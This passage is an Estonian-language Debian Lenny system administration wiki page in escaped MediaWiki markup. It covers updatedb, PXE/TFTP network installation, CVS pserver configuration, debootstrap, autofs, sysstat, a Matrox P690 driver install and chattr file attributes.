* locale andmebaasi moodustatakse väga suure mahuga andmetest iga päev uuesti ning see raiskab ilmselt ressurssi&lt;br /&gt;
&lt;br /&gt;
updatedb programm käivitatakse skripti&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.daily/mlocate&lt;br /&gt;
&lt;br /&gt;
abil ning updatedb tööd saab kontrollida seadistusfaili abil, eriti, milliseid katalooge andmebaasi koostamisel kasutatakse&lt;br /&gt;
&lt;br /&gt;
  /etc/updatedb.conf&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine võrgust===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi võrgust paigaldamine eeldab arusaadavalt paigaldamise ajal võrguühenduse olemasolu, soovitavalt nö hea ühenduse olemasolu. Debian Lenny operatsioonisüsteemi saab paigaldada võrgust kolmel viisil&lt;br /&gt;
&lt;br /&gt;
* business card CD tõmmis (ca 40 MB) - sisaldab tuuma ja installerit&lt;br /&gt;
* minimaalse sisu CD tõmmis (ca 180 MB) - sisaldab tuuma, installerit ning minimaalset hulka pakette&lt;br /&gt;
* TFTP serverilt paigaldamine - tuuma ja ramdisk booditakse TFTP serverilt&lt;br /&gt;
&lt;br /&gt;
Vaatamata sellele kui palju kasutati kohalikku abi, st lokaalset meediat või TFTP serverit toimub süsteemi mahukama osa moodustava tarkvara kopeerimine paigaldamise ajal võrgust.&lt;br /&gt;
&lt;br /&gt;
Võrgust paigaldamine võiks eriti sobida üle IBM IMM ja HP iLO liideste tarvkara paigaldamisel.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine TFTP serverilt====&lt;br /&gt;
&lt;br /&gt;
Üks võimalus Debiani paigaldada on täiesti ilma lokaalse meediate st võrgust, kuid eeldusel, et arvuti omab PXE võimelist võrgukaarti.&lt;br /&gt;
&lt;br /&gt;
Selleks tuleb kopeerida aadressilt tftp serveris kasutamiseks ettevalmistatud kataloogi sisu&lt;br /&gt;
&lt;br /&gt;
  # wget -np -r http://ftp.nl.debian.org/debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/&lt;br /&gt;
&lt;br /&gt;
ning paigutada lokaalvõrgus asuvasse tftp serverisse, nt kataloogi /tftpbood&lt;br /&gt;
&lt;br /&gt;
  # find /tftpboot&lt;br /&gt;
  /tftpboot &lt;br /&gt;
  /tftpboot/debian-installer&lt;br /&gt;
  /tftpboot/debian-installer/i386&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/exithelp.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/adtxt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f1.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f10.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f2.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f3.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f4.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f5.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f6.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f7.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f8.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f9.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/syslinux.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/menu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/prompt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/splash.png&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/stdmenu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/vesamenu.c32&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/txt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/initrd.gz&lt;br /&gt;
  /tftpboot/debian-installer/i386/linux&lt;br /&gt;
  /tftpboot/pxelinux.0&lt;br /&gt;
  /tftpboot/pxelinux.cfg&lt;br /&gt;
  /tftpboot/pxelinux.cfg/index.html&lt;br /&gt;
  /tftpboot/pxelinux.cfg/default&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb valmistada ette sobivalt dchp server, nt sellise host kirjeldusega, next-server 192.168.1.254 on tftpd server&lt;br /&gt;
&lt;br /&gt;
  host fuji.auul {&lt;br /&gt;
    hardware ethernet 00:17:42:02:0b:8a;&lt;br /&gt;
    fixed-address 192.168.1.142;&lt;br /&gt;
    option broadcast-address 192.168.1.255;&lt;br /&gt;
    option routers 192.168.1.254;&lt;br /&gt;
    filename &amp;quot;pxelinux.0&amp;quot;;&lt;br /&gt;
    next-server 192.168.1.254;&lt;br /&gt;
    option domain-name-servers 192.168.1.254;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Tulemusena peab installeeritav arvuti saama dhcp serverilt omale võrguseaded, alglaadima tftp serverilt operatsioonisüsteemi ning käivitama installeri. Edasine paigaldamine toimub tavapärasel viisil, kusjuures installer küsib Debiani peegel-serveri asukohta, millelt kopeeritakse tarkvara.&lt;br /&gt;
&lt;br /&gt;
===CVS tarkvara kasutamine===&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara saab kasutada mitmel moel, antud juhul on tegemist selliste asjaoludega&lt;br /&gt;
&lt;br /&gt;
* CVS töötab nn pserver rezhiimis, mis tähendab, et teenus kuulab 2401 pordil ja liiklus on krüptimata&lt;br /&gt;
* CVS liiklust tuleb täiendavate CVS väliste vahenditega turvata, nt OpenVPN või Stunnel&lt;br /&gt;
* CVS tarkvara tegeleb ise oma kasutajatega, st operatsioonisüsteemi kasutajatest eraldi&lt;br /&gt;
* saab kasutada mitmeid hoidlaid (ingl. k. repository)&lt;br /&gt;
* failisüsteemi kasutamine hoidla operatsioonisüsteemi seisukohalt toimub iga hoidla puhul hoidlale vastava kasutajaga (mitte hoidlat kasutava cvs kasutajana)&lt;br /&gt;
&lt;br /&gt;
Antud juhul kasutatakse mitmeid Debiani haldajate poolt nn vanilla CVS tarkvarale juurde lisatud täiendusi, mille kasutamist on kirjeldatud failis /usr/share/doc/cvs/README.Debian.gz.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install cvs&lt;br /&gt;
&lt;br /&gt;
ning valida kas kasutatakse pserverit või mitte, antud juhul kasutatakse ja seejuures tuleb järgnevalt määrata, millistes kataloogides asuvad repositooriumid, nt&lt;br /&gt;
&lt;br /&gt;
  /srv/cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara juhivad serveri poolel sellised seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* CVS p-serveri seadistusfailis /etc/cvs-pserver.conf sisalduvad muu seas repositooriumide asukohad failisüsteemis ning kasutate paroolifail&lt;br /&gt;
&lt;br /&gt;
  CVS_PSERV_REPOS=&amp;quot;/data/cvs-loomaaed:/data/cvs-propaganda&amp;quot;&lt;br /&gt;
  CVS_PSERV_LIMIT_MEM=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_DATA=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_CORE=0&lt;br /&gt;
  CVS_PSERV_LIMIT_CPU=hard&lt;br /&gt;
  CVS_EXT_PASSWD_FILE=/etc/cvs-passwd&lt;br /&gt;
&lt;br /&gt;
* inetd või xinetd kasutamisel vastavalt seadistusfailis /etc/inetd.conf peab sisalduma rida&lt;br /&gt;
&lt;br /&gt;
  cvspserver      stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/cvs-pserver&lt;br /&gt;
&lt;br /&gt;
või fail /etc/xinetd.d/cvs sisuga&lt;br /&gt;
&lt;br /&gt;
  service cvspserver&lt;br /&gt;
  {&lt;br /&gt;
        disable         = no&lt;br /&gt;
        socket_type     = stream&lt;br /&gt;
        protocol        = tcp&lt;br /&gt;
        wait            = no&lt;br /&gt;
        user            = root&lt;br /&gt;
        server          = /usr/sbin/cvs-pserver&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
* repostitooriumide failide omanikud ja efektiivsed kasutajad failis on kirjeldatud /etc/cvs-repouids&lt;br /&gt;
&lt;br /&gt;
  /srv/cvs-loomaaed:cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda:cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
Repositooriumide initsialiseerimiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cvs -d /srv/cvs-loomaaed init&lt;br /&gt;
  # su - cvs-propaganda&lt;br /&gt;
  $ cvs -d /srv/cvs-propaganda init&lt;br /&gt;
&lt;br /&gt;
Paroolifaili /etc/cvs-passwd formaat on selline&lt;br /&gt;
&lt;br /&gt;
  /data/cvs-loomaaed&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
  /data/cvs-propaganda&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
&lt;br /&gt;
Projektid tuleb alguses hoidlasse importida vastavate kasutajatega&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cd /data/tmp/portaal-arendus&lt;br /&gt;
  cvs-loomaaed$ cvs -d /data/cvs-loomaaed import -m &amp;quot;Loomaaia portaali arendus algab&amp;quot; portaal-arendus vt rt&lt;br /&gt;
  # su - cvs-propaganada&lt;br /&gt;
  $ cd /data/tmp/portaal-propaganda&lt;br /&gt;
  cvs-propaganda$ cvs -d /data/cvs-propaganda import -m &amp;quot;Loomaaia propaganda algab&amp;quot; propaganada vt rt&lt;br /&gt;
&lt;br /&gt;
====Moodulite kirjeldamine====&lt;br /&gt;
&lt;br /&gt;
CVS all olevast projektist saab kopeerida ka üksikuid katalooge öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cvs co projektinimi/katalooginimi&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Linuxi CVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
  $ export CVSROOT=:pserver:kasutajanimi@cvs.loomaaed.tartu.ee:/data/cvs-loomaaed&lt;br /&gt;
  $ cvs login&lt;br /&gt;
  $ cvs co portaal-arendus&lt;br /&gt;
  $ cvs logout&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Windowsi TortoiseCVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Tortoisecvs-1.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Riistvara omadustega tegelevad utiliidid===&lt;br /&gt;
&lt;br /&gt;
* lshw - esitab suhteliselt põhjaliku väljundi arvutisüsteemi riistvaralistest komponentidest, nt sellise&lt;br /&gt;
&lt;br /&gt;
  # apt-get install lshw&lt;br /&gt;
&lt;br /&gt;
* ethtool&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ethtool&lt;br /&gt;
&lt;br /&gt;
===Debootstrap programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
debootstrap programmiga saab näidatud kataloogi moodustada operatsioonisteemi juurfailisüsteemi&lt;br /&gt;
&lt;br /&gt;
  # debootstrap lenny /srv/lenny-chroot http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Nt sobib seda kasutada töötava operatsioonisüsteemi sees olles multiboot arvuti moodustamiseks. Sel juhul tuleb Debian Lenny puhul lisaks tähele panna selliseid asjaolusid peale seda kui debootstrap on töö lõpetanud&lt;br /&gt;
&lt;br /&gt;
* moodustada /etc/fstab sisu&lt;br /&gt;
* seadistada /etc/network/interfaces ja /etc/hosts&lt;br /&gt;
* kopeerida /lib/modules alla tuuma moodulid&lt;br /&gt;
* paigaldada udev, lvm2, vlan, firmware-bnx2, bridge-utils ja openssh-server tarkvara (ja muu oluline)&lt;br /&gt;
* kirjutada /etc/shadow faili juurkasutajale parool (konsoolilt saab küll login: root järel enterit öeldes sisse ka ilma paroolita)&lt;br /&gt;
* kopeerida tuum ja iniramfs /boot kataloogi&lt;br /&gt;
* paigaldada alglaadur (nt grub-install abil)&lt;br /&gt;
* seadistada ajavöönd, /etc/localtime link&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud keskkonda chrootida, siis üldiselt peaks olema eelnevalt ühendatud külge sellised failisüsteemid, eeldusel, et keskkond asub kataloogis /target&lt;br /&gt;
&lt;br /&gt;
 /dev/sda1 on /target/boot type ext3 (rw,noatime,errors=continue,data=ordered)&lt;br /&gt;
 proc on /target/proc type proc (rw)&lt;br /&gt;
 sysfs on /target/sys type sysfs (rw)&lt;br /&gt;
 udev on /target/dev type tmpfs (rw,size=10240k,mode=755)&lt;br /&gt;
 devpts on /target/dev/pts type devpts (rw,mode=600)&lt;br /&gt;
&lt;br /&gt;
öeldes&lt;br /&gt;
&lt;br /&gt;
 # mount -t proc /proc /srv/lenny-32/proc&lt;br /&gt;
 # mount -t devpts devpts /srv/lenny-32/dev/pts&lt;br /&gt;
&lt;br /&gt;
debootstrap abil saab tekitada ka teisele arhitektuurile vastav failisüsteem, nt öeldes amd64 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # debootstrap --arch=i386 lenny /srv/lenny-32 http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal soovitatakse kasutada tarkvara multistrap.&lt;br /&gt;
&lt;br /&gt;
===Autofs===&lt;br /&gt;
&lt;br /&gt;
Selleks, et failisüsteem monteeritaks külge automaatselt vastava ühenduspunkti poole pöördumisel, sobib kasutada tarkvara autofs. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install autofs&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamiseks tuleb näidata seadistusfailis /etc/auto.master nn map failide asukohad, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.master&lt;br /&gt;
  /var/autofs     /etc/auto.misc --timeout=60&lt;br /&gt;
&lt;br /&gt;
kusjuures map failis /etc/auto.misc on kirjeldatud konkreetsed ressursid, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.misc   &lt;br /&gt;
  cd             -fstype=iso9660,ro,nosuid,nodev :/dev/cdrom&lt;br /&gt;
  removable      -fstype=ext3,ro            :/dev/mapper/mpath3&lt;br /&gt;
&lt;br /&gt;
Kui nüüd öelda muidu tühjas kataloogis /var/autofs 'ls -l', siis ühendatakse failisüsteem külge ning seejärel täidetakse ls käsk, nt&lt;br /&gt;
&lt;br /&gt;
  # cd /var/autofs/removable&lt;br /&gt;
  drwx------ 2 root root 16384 Apr 11 14:13 lost+found&lt;br /&gt;
&lt;br /&gt;
Ühendatud failisüsteemide parameetreid näeb nii&lt;br /&gt;
&lt;br /&gt;
  # mount | grep autofs&lt;br /&gt;
  automount(pid7544) on /var/autofs type autofs (rw,fd=4,pgrp=7544,minproto=2,maxproto=4)&lt;br /&gt;
  /dev/mapper/mpath3 on /var/autofs/removable type ext3 (ro)&lt;br /&gt;
&lt;br /&gt;
Autofs olekut näeb öeldes&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/autofs status&lt;br /&gt;
  Configured Mount Points:&lt;br /&gt;
  ------------------------&lt;br /&gt;
  /usr/sbin/automount --timeout=300 /home file /etc/auto.home &lt;br /&gt;
  &lt;br /&gt;
  Active Mount Points:&lt;br /&gt;
  --------------------&lt;br /&gt;
  /usr/sbin/automount --pid-file=/var/run/autofs/_home.pid --timeout=300 /home file /etc/auto.home&lt;br /&gt;
&lt;br /&gt;
====NFS ressursi ühendamine====&lt;br /&gt;
&lt;br /&gt;
Nt kasutajate kodukataloogide üle NFS ühendamiseks tuleb kirjeldada nt selline /etc/auto.home fail&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.home &lt;br /&gt;
  kernel    -ro,soft,intr       192.168.10.249:/data/export&lt;br /&gt;
&lt;br /&gt;
===Süsteemi ressursikasutuse jälgimine===&lt;br /&gt;
&lt;br /&gt;
Pakett sysstat http://pagesperso-orange.fr/sebastien.godard/ sisaldab süsteemi ressurssikasutuse jälgimiseks vajalikke vahendeid, nii reaalajas kui taustal andmete kogumiseks&lt;br /&gt;
&lt;br /&gt;
* reaalajas - iostat, pidstat, mpstat&lt;br /&gt;
* taustal - sa1, sa2, sar&lt;br /&gt;
&lt;br /&gt;
Tarkvara käivitamist ja töötamist juhivad seadistusfailid&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.d/sysstat&lt;br /&gt;
  /etc/cron.daily/sysstat&lt;br /&gt;
  /etc/default/sysstat&lt;br /&gt;
&lt;br /&gt;
Taustal töötava sysstat töö tulemusena kogutakse andmed ja salvestatakse binaarses formaadis kataloogi /var/log/sysstat. Kogutud andmeid saab esitada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # sar -A -f /var/log/sysstat/sa22  | less&lt;br /&gt;
&lt;br /&gt;
Eraldi mainimist vajab programm pidstat, mille abil saab jälgida üksiku protsessiga seotud ressursikasutust, nt plokkseadme IO'd&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p 15585 2&lt;br /&gt;
  Linux 2.6.26-1-xen-amd64 (moraal.auul)  04/22/09        _x86_64_&lt;br /&gt;
  &lt;br /&gt;
  20:13:28          PID   kB_rd/s   kB_wr/s kB_ccwr/s  Command&lt;br /&gt;
  20:13:30        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:32        15585      0.00    238.00      0.00  wget&lt;br /&gt;
  20:13:34        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:36        15585      0.00    238.00      0.00  wget&lt;br /&gt;
&lt;br /&gt;
Kõigi kasutaja postgres protsesside io'd saab uurida nt selliselt&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p ALL 2 | grep postgres&lt;br /&gt;
&lt;br /&gt;
===Matrox P690 videokaardi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Matrox http://www.matrox.com/ valmistab suhteliselt eeskujulikke videokaarte. P690 mudeli kasutamiseks sobib kasutada aadressil http://www.matrox.com/graphics/en/products/graphics_cards/p_series/p690pci/ kopeeritud draiverit. Lisaks asub nö community-forum aadressil http://forum.tuxx-home.at/ ning sealsed entusiastid avaldavad oma parandustega draivereid.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
  # CC=/usr/bin/gcc-4.1 sh mtxdriver-installer-x86_32-cvs-20090511.run&lt;br /&gt;
  ..&lt;br /&gt;
  Please, enter the directory to extract the files [/root/] /usr/src/mtx&lt;br /&gt;
  Creating directory /usr/src/mtx/matroxdriver-x86_32-cvs-20090511&lt;br /&gt;
  Verifying archive integrity... All good.&lt;br /&gt;
  Uncompressing Matrox Parhelia Driver.&lt;br /&gt;
  ..&lt;br /&gt;
  ========================================&lt;br /&gt;
   Matrox Linux Driver Install Script   &lt;br /&gt;
  ========================================&lt;br /&gt;
  &lt;br /&gt;
  Installation package v1.4.7&lt;br /&gt;
  &lt;br /&gt;
  Refreshing ld database&lt;br /&gt;
  Installing mtx_drv.so ...&lt;br /&gt;
  Installing v4l_drv.so ...&lt;br /&gt;
  Messages are being logged in file /tmp/make.log,&lt;br /&gt;
  this might take some time.&lt;br /&gt;
  &lt;br /&gt;
  Compiling mtx.ko ... done&lt;br /&gt;
  &lt;br /&gt;
  Installing mtx.ko ...&lt;br /&gt;
  Backing up libGL&lt;br /&gt;
  Installing 32bits OpenGL library file to /usr/lib&lt;br /&gt;
  Installing libGL.so.1.3.0 ...&lt;br /&gt;
  Installing the GLX library file to /usr/lib/xorg/modules/extensions&lt;br /&gt;
 &lt;br /&gt;
  Installing libglx.so ...&lt;br /&gt;
  Installing the gl.h header file to /usr/include/GL &lt;br /&gt;
 &lt;br /&gt;
  Installing gl.h ...&lt;br /&gt;
  Installing the glext.h header file to /usr/include/GL &lt;br /&gt;
  &lt;br /&gt;
  Installing glext.h ...&lt;br /&gt;
  Installing the glx.h header file to /usr/include/GL&lt;br /&gt;
 &lt;br /&gt;
  Installing glx.h ...&lt;br /&gt;
  Updating library cache&lt;br /&gt;
 &lt;br /&gt;
  Installing documentation&lt;br /&gt;
  &lt;br /&gt;
  cp: cannot stat `v4l': No such file or directory&lt;br /&gt;
  Installing powerdesk&lt;br /&gt;
  &lt;br /&gt;
  Installing mtxcards ...&lt;br /&gt;
  Installing mtxwizard ...&lt;br /&gt;
  Installing matroxconfig ...&lt;br /&gt;
  Installing libmtxcfg.so ...&lt;br /&gt;
 &lt;br /&gt;
  Do you wish to let the installer setup your X config file  (y/n)? y &lt;br /&gt;
  &lt;br /&gt;
  Trying to configure your X config file (/etc/X11/xorg.conf)&lt;br /&gt;
  &lt;br /&gt;
  Installation finished&lt;br /&gt;
&lt;br /&gt;
Tulemusena on &lt;br /&gt;
&lt;br /&gt;
* moodustatud nö vaikimisi /etc/X11/xorg.conf seadistusfail&lt;br /&gt;
* seadistusutiliit /usr/bin/matroxconfig&lt;br /&gt;
* kataloogi /usr/share/matrox on paigutatud teeke ja tekste&lt;br /&gt;
* kompileeritud ja paigaldatud tuuma moodul mtx.ko, mis on link /usr/share/matrox kataloogi failile &lt;br /&gt;
&lt;br /&gt;
  # find /lib/modules/2.6.26-2-686 -name mtx.ko -ls&lt;br /&gt;
  721274    0 lrwxrwxrwx   1 root     root           32 Aug  8 17:44 \&lt;br /&gt;
    /lib/modules/2.6.26-2-686/kernel/drivers/video/mtx.ko -&amp;gt; /usr/share/matrox/current/mtx.ko&lt;br /&gt;
&lt;br /&gt;
Süsteemi on lisatud/asendatud sellised failid&lt;br /&gt;
&lt;br /&gt;
  /usr/bin&lt;br /&gt;
  /usr/bin/mtxwizard&lt;br /&gt;
  /usr/bin/matroxconfig&lt;br /&gt;
  /usr/share&lt;br /&gt;
  /usr/share/mtxwizard&lt;br /&gt;
  /usr/share/mtxwizard/mtxcards&lt;br /&gt;
  /usr/share/matrox&lt;br /&gt;
  /usr/share/matrox/samples&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Hybrid&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Merge&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_1&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.dual&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_2&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.single&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple_merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Xinerama&lt;br /&gt;
  /usr/share/matrox/current&lt;br /&gt;
  /usr/share/matrox/current/gl.h&lt;br /&gt;
  /usr/share/matrox/current/libmtxcfg.so&lt;br /&gt;
  /usr/share/matrox/current/mtxcards&lt;br /&gt;
  /usr/share/matrox/current/mtx_drv.so&lt;br /&gt;
  /usr/share/matrox/current/glx.h&lt;br /&gt;
  /usr/share/matrox/current/glext.h&lt;br /&gt;
  /usr/share/matrox/current/mtx.ko&lt;br /&gt;
  /usr/share/matrox/current/v4l_drv.so&lt;br /&gt;
  /usr/share/matrox/current/mtxwizard&lt;br /&gt;
  /usr/share/matrox/current/libGL.so.1.3.0&lt;br /&gt;
  /usr/share/matrox/current/matroxconfig&lt;br /&gt;
  /usr/share/matrox/current/libglx.so&lt;br /&gt;
  /usr/share/matrox/backup&lt;br /&gt;
  /usr/share/matrox/docs&lt;br /&gt;
  /usr/share/matrox/docs/readme.txt&lt;br /&gt;
  /usr/share/matrox/docs/readme-advanced.txt&lt;br /&gt;
  /usr/lib&lt;br /&gt;
  /usr/lib/libGL.so.1.3.0&lt;br /&gt;
  /usr/lib/libGL.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libmtxcfg.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libglx.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/mtx_drv.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/v4l_drv.so&lt;br /&gt;
  /usr/lib/libGL.so.1&lt;br /&gt;
  /usr/src/mtx&lt;br /&gt;
  /usr/src/mtx/log&lt;br /&gt;
  /usr/include/GL&lt;br /&gt;
  /usr/include/GL/gl.h&lt;br /&gt;
  /usr/include/GL/glx.h&lt;br /&gt;
  /usr/include/GL/glext.h&lt;br /&gt;
&lt;br /&gt;
Tuuma laadimisel öeldakse&lt;br /&gt;
&lt;br /&gt;
  # modprobe mtx&lt;br /&gt;
  mtx: module license 'Copyright (c) 2002, 2004, Matrox Graphics Inc.' taints kernel.&lt;br /&gt;
  [mtx] MTX driver v1.4.7&lt;br /&gt;
  [mtx] Allocated a MTX agp driver structure&lt;br /&gt;
  ACPI: PCI Interrupt 0000:03:00.0[A] -&amp;gt; GSI 21 (level, low) -&amp;gt; IRQ 21&lt;br /&gt;
  [mtx] 0x2539(sub:0xffffffff) board found at 03:00.0&lt;br /&gt;
&lt;br /&gt;
====Seadistamine====&lt;br /&gt;
&lt;br /&gt;
Komplekt sisaldab ka graafilist haldusutiliiti matroxconfig, mille abil saab genereerida sobiva X serveri seadistusfaili /etc/X11/xorg.conf, nt sellise [[Pilt:Xorg.conf.patch]]&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Matroxconfig-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Käivitamisel öeldakse dmesg'i&lt;br /&gt;
&lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass &lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass&lt;br /&gt;
&lt;br /&gt;
X log võiks olla nt selline http://kuutorvaja.eenet.ee/mw-1.9.3/images/e/e1/Xorg.mtx-p690.patch&lt;br /&gt;
&lt;br /&gt;
Kui töökohaarvuti vahetada säilitades videokaardi ja monitorid, siis tõenäoliselt piisab xorg.conf failis asendada seadme sektsioonides PCI BusID väärtus sobivaga&lt;br /&gt;
&lt;br /&gt;
  Section &amp;quot;Device&amp;quot;&lt;br /&gt;
          # generated by mtx wizard&lt;br /&gt;
          Identifier  &amp;quot;mtxwizard_device_1&amp;quot;&lt;br /&gt;
          Driver      &amp;quot;mtx&amp;quot;&lt;br /&gt;
          BusID       &amp;quot;PCI:3:0:0&amp;quot;&lt;br /&gt;
          Screen      1&lt;br /&gt;
  EndSection&lt;br /&gt;
&lt;br /&gt;
kusjuures õige saab teha kindlaks lspci utiliidiga&lt;br /&gt;
&lt;br /&gt;
  # lspci | grep Matrox&lt;br /&gt;
  03:00.0 VGA compatible controller: Matrox Graphics, Inc. Millennium P690 (rev 01)&lt;br /&gt;
&lt;br /&gt;
===lsattr ja chattr programmide kasutamine===&lt;br /&gt;
&lt;br /&gt;
chattr programmi abil saab ext2 ja ext3 failisüsteemis seadistada failidele täiendavad omadusi. Näiteks, märkida faili immutable'ks&lt;br /&gt;
&lt;br /&gt;
 # chattr +i failinimi&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa seda faili ka kustutada juurkasutaja&lt;br /&gt;
&lt;br /&gt;
 # rm failinimi&lt;br /&gt;
 rm: cannot remove `failinimi': Operation not permitted&lt;br /&gt;
&lt;br /&gt;
Atribuutide väärtusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # lsattr failinimi&lt;br /&gt;
 ----i-------------- failinimi&lt;br /&gt;
&lt;br /&gt;
immutable biti saab eemaldada öeldes&lt;br /&gt;
&lt;br /&gt;
 # chattr -i failinimi&lt;br /&gt;
&lt;br /&gt;
===ucarp kasutamine===&lt;br /&gt;
&lt;br /&gt;
